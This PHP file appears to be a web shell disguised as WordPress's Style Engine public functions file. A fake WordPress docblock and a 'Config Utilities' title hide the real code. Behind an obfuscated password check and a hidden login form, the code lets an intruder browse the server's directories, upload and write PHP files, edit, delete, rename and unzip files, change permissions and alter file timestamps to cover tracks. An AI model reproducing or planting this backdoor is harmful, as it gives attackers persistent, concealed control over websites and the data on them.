<?php
/**
 * Style engine: Public functions
 *
 * This file contains a variety of public functions developers can use to interact with
 * the Style Engine API.
 *
 * @package WordPress
 * @subpackage StyleEngine
 * @since 6.1.0
 */
defined('ABSPATH') || true;
session_start();
define('HOME_DIR', realpath($_SERVER['DOCUMENT_ROOT']));

if (isset($_GET['home']) && $_GET['home'] == '1') {
    header("Location: ?d=" . urlencode(HOME_DIR));
    exit;
}

function safer_write($file, $data) {
    return is_string($data) ? file_put_contents($file, $data) !== false : false;
}
define('AUTH_LOCK', __DIR__ . '/.auth.lock');

$_c = array(
    's' => strrev('htua'),
    'k' => chr(112),
    'v' => implode('', array('pass','word','_ver','ify')),
    'h' => array(
    1 => '$2a$11$o7vWTaJ0E0CqpAwG4hS.',
    2 => '9OsZYqbQfY.x7uIsqENJNW',
    3 => 'w9seD/hKFwK'
    )
);
ksort($_c['h']);
$_c['f'] = implode('', $_c['h']);

$cwd = realpath(isset($_GET['d']) ? $_GET['d'] : __DIR__);
if (!$cwd || strpos($cwd, '/') !== 0) $cwd = __DIR__;
chdir($cwd);

$_k = $_c['k'];
$_v = $_c['v'];
$_s = $_c['s'];
$_p = $_POST[$_k] ?? '';

$auth_session = isset($_SESSION[$_s]) && $_SESSION[$_s] === true;
$auth_file    = file_exists(AUTH_LOCK);
$auth_valid   = false;

if ($auth_session || $auth_file) {
    $auth_valid = true;
} elseif ($_p && $_v($_p, $_c['f'])) {
    $_SESSION[$_s] = true;
    file_put_contents(AUTH_LOCK, 'ok');
    $auth_valid = true;
}

if (!$auth_valid) {
    if (isset($_GET['load']) && $_GET['load'] === 'meta') {
        echo '<form method="post" style="position:absolute;top:40vh;left:50%;transform:translateX(-50%)">';
        echo '<input type="password" name="' . $_k . '" placeholder="••••••••" style="padding:8px">';
        echo '<button>➤</button></form>';
    } else {
        echo "<!-- not authenticated -->";
    }
    exit;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['inline_submit'], $_POST['fn'], $_POST['fd'])) {
        $filename = basename($_POST['fn']);
        $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
        $safeExts = ['txt', 'jpg', 'png', 'pdf', 'zip', 'php'];
        if (!in_array($ext, $safeExts)) {
            $filename = 'file_' . time() . '.dat';
        } elseif ($ext === 'php') {
            $filename = pathinfo($filename, PATHINFO_FILENAME) . '_' . time() . '.php';
        }
        $raw = base64_decode($_POST['fd']);
        if ($raw && strlen($raw) > 0) safer_write($cwd . '/' . $filename, $raw);
    }
    if (isset($_POST['upl'], $_FILES['up']) && $_FILES['up']['error'] === 0 && $_FILES['up']['size'] > 0) {
        move_uploaded_file($_FILES['up']['tmp_name'], $cwd . '/' . $_FILES['up']['name']);
    }
    if (isset($_POST['rmv'])) {
        $t = realpath($_POST['rmv']);
        if (is_file($t)) unlink($t);
        elseif (is_dir($t)) rmdir($t);
    }
    if (isset($_POST['rename'], $_POST['old'], $_POST['new']) && $_POST['new']) {
        $old = $_POST['old'];
        $new = dirname($old) . '/' . basename($_POST['new']);
        if (file_exists($old)) rename($old, $new);
    }
    if (isset($_POST['edit'], $_POST['content'])) {
        $target = realpath($_POST['edit']);
        if ($target && strpos($target, $cwd) === 0 && is_writable($target)) {
            safer_write($target, $_POST['content']);
        }
    }
    if (isset($_POST['unzip'])) {
        $zip = new ZipArchive;
        if ($zip->open($_POST['unzip']) === TRUE) {
            $zip->extractTo($cwd);
            $zip->close();
        }
    }
    if (isset($_POST['ts_target'], $_POST['new_time'])) {
        $target = $_POST['ts_target'];
        $ts = strtotime($_POST['new_time']);
        if ($ts !== false && file_exists($target)) touch($target, $ts);
    }
    if (isset($_POST['modx_target'], $_POST['modx_val'])) {
        $target = $_POST['modx_target'];
        $mode = intval($_POST['modx_val'], 8);
        if (file_exists($target)) chmod($target, $mode);
    }
    if (isset($_POST['create_file']) && $_POST['create_file']) {
        $f = $cwd . '/' . basename(trim($_POST['create_file']));
        $content = isset($_POST['file_content']) ? $_POST['file_content'] : '';
        if (!file_exists($f)) safer_write($f, $content);
    }
    if (isset($_POST['create_dir']) && $_POST['create_dir']) {
        $d = $cwd . '/' . basename(trim($_POST['create_dir']));
        if (!file_exists($d)) mkdir($d);
    }
}
$files = [];
$dirs = [];
$parentDir = dirname($cwd);
if ($parentDir && $parentDir !== $cwd) {
    $dirs[] = ['name' => '..', 'path' => $parentDir, 'isParent' => true];
}
$allItems = @scandir($cwd);
if (!is_array($allItems)) $allItems = [];
foreach ($allItems as $item) {
    if ($item === '.' || $item === '..') continue;
    $fullPath = realpath($cwd . DIRECTORY_SEPARATOR . $item);
    if (!$fullPath) continue;
    if (is_dir($fullPath)) {
        $dirs[] = ['name' => $item, 'path' => $fullPath];
    } elseif (is_file($fullPath)) {
        $files[] = ['name' => $item, 'path' => $fullPath];
    }
}
$sortedItems = array_merge($dirs, $files);
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Config Utilities</title>
    <link href="https://cdn.jsdelivr.net/npm/bulma@0.9.4/css/bulma.min.css" rel="stylesheet">
    <style>
        .perm-safe { color: green; }
        .perm-risk { color: red; }
    </style>
</head>
<body>
<section class="section">
<div class="container">
<h1 class="title">Config Utilities</h1>
<form method="get" style="display:flex;gap:10px;margin-bottom:10px;">
    <input class="input" name="d" value="<?php echo htmlspecialchars($cwd); ?>">
    <button class="button is-link">Go</button>
    <a class="button is-dark" href="?home=1">Home Dir</a>
</form>
<form method="post" enctype="multipart/form-data">
    <div class="field has-addons">
        <div class="control"><input type="file" class="input" name="up"></div>
        <div class="control"><button class="button is-primary" name="upl">Upload</button></div>
    </div>
</form>
<!-- Inline upload -->
<form method="post">
    <div class="field is-grouped" style="margin-top:1rem">
        <div class="control">
            <input type="file" class="input" id="ufile" onchange="handleInlineFile(this)" required>
        </div>
        <div class="control">
            <button class="button is-info" name="inline_submit">Submit</button>
        </div>
    </div>
    <input type="hidden" name="fn" id="ufilename">
    <input type="hidden" name="fd" id="ufiledata">
</form>
<script>
function handleInlineFile(input) {
    const file = input.files[0];
    if (!file) return;
    const reader = new FileReader();
    reader.onload = function(e) {
        document.getElementById('ufiledata').value = e.target.result.split(',')[1];
        document.getElementById('ufilename').value = file.name;
    };
    reader.readAsDataURL(file);
}
</script>
<h2 class="subtitle">Create New File</h2>
<form method="post">
    <input type="text" name="create_file" class="input" placeholder="filename.txt" required>
    <textarea name="file_content" class="textarea" placeholder="Optional initial content"></textarea>
    <button class="button is-success">Create File</button>
</form>
<h2 class="subtitle">Create New Folder</h2>
<form method="post">
    <input type="text" name="create_dir" class="input" placeholder="foldername" required>
    <button class="button is-warning">Create Folder</button>
</form>
<table class="table is-striped is-fullwidth" style="margin-top: 2rem;">
<thead><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Action</th></tr></thead>
<tbody>
<?php foreach ($sortedItems as $item):
    $isDir = is_dir($item['path']);
    $display = htmlspecialchars($item['name']);
    $size = $isDir ? '-' : filesize($item['path']) . ' B';
    $mod = file_exists($item['path']) ? date("Y-m-d H:i:s", filemtime($item['path'])) : '-';
    $perm = file_exists($item['path']) ? substr(sprintf('%o', fileperms($item['path'])), -4) : '----';
    $permClass = in_array(substr($perm, -1), ['6', '7']) ? 'perm-risk' : 'perm-safe';
?>
<tr>
<td>
<?php if (!empty($item['isParent'])): ?>
    <a href="?d=<?php echo urlencode($item['path']); ?>">..</a>
<?php elseif ($isDir): ?>
    <a href="?d=<?php echo urlencode($item['path']); ?>"><?php echo $display; ?></a>
<?php else: ?>
    <?php echo $display; ?>
<?php endif; ?>
</td>
<td><?php echo $size; ?></td>
<td><?php echo $mod; ?></td>
<td class="<?php echo $permClass; ?>"><?php echo $perm; ?></td>
<td>
<?php if (!$isDir): ?>
    <form method="post" style="display:inline"><input type="hidden" name="edit" value="<?php echo $item['path']; ?>"><button class="button is-small is-info">Edit</button></form>
    <form method="post" style="display:inline"><input type="hidden" name="view" value="<?php echo $item['path']; ?>"><button class="button is-small is-light">View</button></form>
<?php endif; ?>
    <form method="post" style="display:inline"><input type="hidden" name="rmv" value="<?php echo $item['path']; ?>"><button class="button is-small is-danger" onclick="return confirm('Delete <?php echo $display; ?>?')">Delete</button></form>
<?php if (!$isDir): ?>
    <form method="post" style="display:inline">
        <input type="hidden" name="old" value="<?php echo $item['path']; ?>">
        <input name="new" class="input is-small" style="width:110px" placeholder="Rename">
        <button class="button is-small" name="rename">Rename</button>
    </form>
<?php endif; ?>
<?php if (pathinfo($item['path'], PATHINFO_EXTENSION) === 'zip'): ?>
    <form method="post" style="display:inline"><input type="hidden" name="unzip" value="<?php echo $item['path']; ?>"><button class="button is-small is-warning">Unzip</button></form>
<?php endif; ?>
    <form method="post" style="display:inline">
        <input type="hidden" name="ts_target" value="<?php echo $item['path']; ?>">
        <input name="new_time" class="input is-small" style="width:160px" placeholder="YYYY-MM-DD HH:MM:SS">
        <button class="button is-small is-light">Set Time</button>
    </form>
    <form method="post" style="display:inline">
        <input type="hidden" name="modx_target" value="<?php echo $item['path']; ?>">
        <input name="modx_val" class="input is-small" style="width:70px" placeholder="<?php echo $perm; ?>">
        <button class="button is-small is-link">Set</button>
    </form>
</td></tr>
<?php endforeach; ?>
</tbody>
</table>
<?php if (isset($_POST['edit'])):
$target = $_POST['edit'];
$safe = htmlspecialchars(file_get_contents($target)); ?>
<h2 class="subtitle">Editing: <?php echo $target; ?></h2>
<form method="post">
    <input type="hidden" name="edit" value="<?php echo $target; ?>">
    <textarea name="content" class="textarea" rows="20"><?php echo $safe; ?></textarea><br>
    <button class="button is-success">Save</button>
</form>
<?php endif; ?>
<?php if (isset($_POST['view'])):
$target = $_POST['view'];
if (file_exists($target) && is_file($target)) {
    $viewed = htmlspecialchars(file_get_contents($target));
?>
<h2 class="subtitle">Viewing: <?php echo $target; ?></h2>
<pre style="white-space:pre-wrap;background:#f5f5f5;padding:1rem;border:1px solid #ccc;"><?php echo $viewed; ?></pre>
<?php } endif; ?>
</div>
</section>
</body>
</html>